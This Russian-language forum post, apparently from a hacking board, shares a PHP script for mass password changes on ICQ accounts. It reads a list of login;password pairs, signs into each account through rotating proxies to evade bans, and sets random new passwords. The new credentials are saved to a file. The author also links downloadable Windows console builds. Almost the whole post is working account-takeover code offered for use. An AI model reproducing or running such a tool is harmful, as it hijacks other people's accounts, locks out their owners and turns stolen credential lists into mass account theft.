Скрипт для массовой смены паролей на осику, работает только через прокси Code: <?php set_time_limit(0); //----------------------------------------------// $filesource = 'source.txt'; $fileproxy = 'proxy.txt'; $filevalid = 'changed.txt'; $fileinevalid = 'notchanged.txt'; $filenotauth = 'bad.txt'; $charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; //----------------------------------------------// $goodfile = fopen($filevalid, 'a+'); $badfile = fopen($fileinevalid, 'a+'); $notauth = fopen($filenotauth, 'a+'); $fp = file($filesource); $count = count($fp); $fproxy = file($fileproxy); $pp = 0; $pcount = count($fproxy); for($i = 0;$i < $count;$i++) { $proxy = trim($fproxy[$pp]); $fp = file($filesource); $str = trim($fp[$i]); list($uname,$pass) = @explode(';', $str); $ln = get_ln(); echo "Get icq_ln...\t"; if($ln) { echo "[+]\n"; echo "Try auth $uname...\t"; $auth = icq_login($uname,$pass,$ln); if ($auth=='ban') { echo "[-]\tfucking aol, proxy banned\n"; $i--; $pp++; } elseif ($auth=='ok') { echo "[+]\n"; $newpass = passgen(8); echo "Try change pass $uname...\t"; $ch_pass = icq_change_pass($uname,$pass,$newpass); if($ch_pass) { fwrite ($goodfile, "$uname;$newpass\n"); echo "[+]\tnew pass $newpass\n"; } else { echo "[-]\tunknown trable\n"; fwrite ($badfile, "$uname;$wpass\n"); } } else { echo "[-]\tfucking pass\n"; fwrite ($notauth, "$uname;$pass\n"); } } else { echo "[-]\tMay be bad proxy\n"; $i--; echo "\t\t\t\t[+]\t".$proxy."\tproxy deleted\n"; unset($fproxy[$pp]); $pp++; if($pp==$pcount) $pp=0; } $fcls = fopen("cookie.txt", 'a+'); ftruncate($fcls, 0); flush(); } function icq_login($uname,$pass,$ln) { global $proxy; $url = 'https://www.icq.com/karma/login.php'; $post = 'dest=http://www.icq.com&service=30&icq_ln='.$ln.'&uin_email='.$uname.'&password='.$pass.'&rem=1'; if($ct = curl_init($url)) { curl_setopt($ct, CURLOPT_COOKIEFILE, "cookie.txt"); curl_setopt($ct, CURLOPT_COOKIEJAR, "cookie.txt"); curl_setopt($ct, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ct, CURLOPT_ENCODING, 'gzip'); curl_setopt($ct, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ct, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ct, CURLOPT_REFERER, $url); curl_setopt($ct, CURLOPT_HEADER, 1); curl_setopt($ct, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.3)'); if ($proxy!='') curl_setopt($ct, CURLOPT_PROXY, $proxy); curl_setopt($ct, CURLOPT_POST, 1); curl_setopt($ct, CURLOPT_POSTFIELDS, $post); $res_login = curl_exec($ct) or curl_error($ct); //file_put_contents("$uname.txt",$res_login); //echo strlen($res_login)."\n"; //die(); curl_close($ct); if(strpos($res_login, 'Set-Cookie: karma_user')) return 'ok'; elseif(strlen($res_login)==3761) return 'ban'; else return false; } else die('no cUrl maza faka'); } function get_ln() { global $proxy; $url = 'https://www.icq.com/karma/login_page.php'; if($ct = curl_init($url)) { curl_setopt($ct, CURLOPT_COOKIEFILE, "cookie.txt"); curl_setopt($ct, CURLOPT_COOKIEJAR, "cookie.txt"); curl_setopt($ct, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ct, CURLOPT_ENCODING, 'gzip'); curl_setopt($ct, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ct, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ct, CURLOPT_REFERER, $url); curl_setopt($ct, CURLOPT_HEADER, 1); curl_setopt($ct, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.3)'); if ($proxy!='') curl_setopt($ct, CURLOPT_PROXY, $proxy); $res_login = curl_exec($ct) or curl_error($ct); //file_put_contents("result1.txt",$res_login); //die(); curl_close($ct); if(ereg ("(name=\"icq_ln\" value=\")([0-9A-H]{64})(\">)", $res_login, $ln_hash)) return $ln_hash[2]; else return false; } else die('no cUrl maza faka'); } function icq_change_pass($uname,$oldpass,$newpass) { global $proxy; $url = 'https://www.icq.com/support/change_password/?uin='.$uname; $post = 'act=change_pass&old_password='.$oldpass.'&new1_password='.$newpass.'&new2_password='.$newpass; if($ct = curl_init($url)) { curl_setopt($ct, CURLOPT_COOKIEFILE, "cookie.txt"); curl_setopt($ct, CURLOPT_COOKIEJAR, "cookie.txt"); curl_setopt($ct, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ct, CURLOPT_ENCODING, 'gzip'); curl_setopt($ct, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ct, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ct, CURLOPT_REFERER, $url); curl_setopt($ct, CURLOPT_HEADER, 1); curl_setopt($ct, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.3)'); if ($proxy!='') curl_setopt($ct, CURLOPT_PROXY, $proxy); curl_setopt($ct, CURLOPT_POST, 1); curl_setopt($ct, CURLOPT_POSTFIELDS, $post); $res_login = curl_exec($ct) or curl_error($ct); //file_put_contents("result3.txt",$res_login); //die(); curl_close($ct); if(strpos($res_login, 'act=success')) return true; else return false; } else die('no cUrl maza faka'); } function passgen($len) { global $charset; $charlen = strlen($charset); $pass = ''; for ($i=0;$i<$len;$i++) { $randnum = rand(0,$charlen-1); $pass .= substr($charset,$randnum,1); } return $pass; } ?> скрипт будет работать на локалке или любом хостинге с поддержкой cUrl & SSL в строке $charset задаем сиволы из которых будет генерится пароль сборку под вин консоль можно скачать тут: Code: http://file.qip.ru/file/102675535/602c1c7a/icq_pass_changer.html http://www.sendspace.com/file/jkvdcj зЫ: напомню еще раз, должна быть поддержка ссл, на компе желательно установить OpenSSL (c)vp$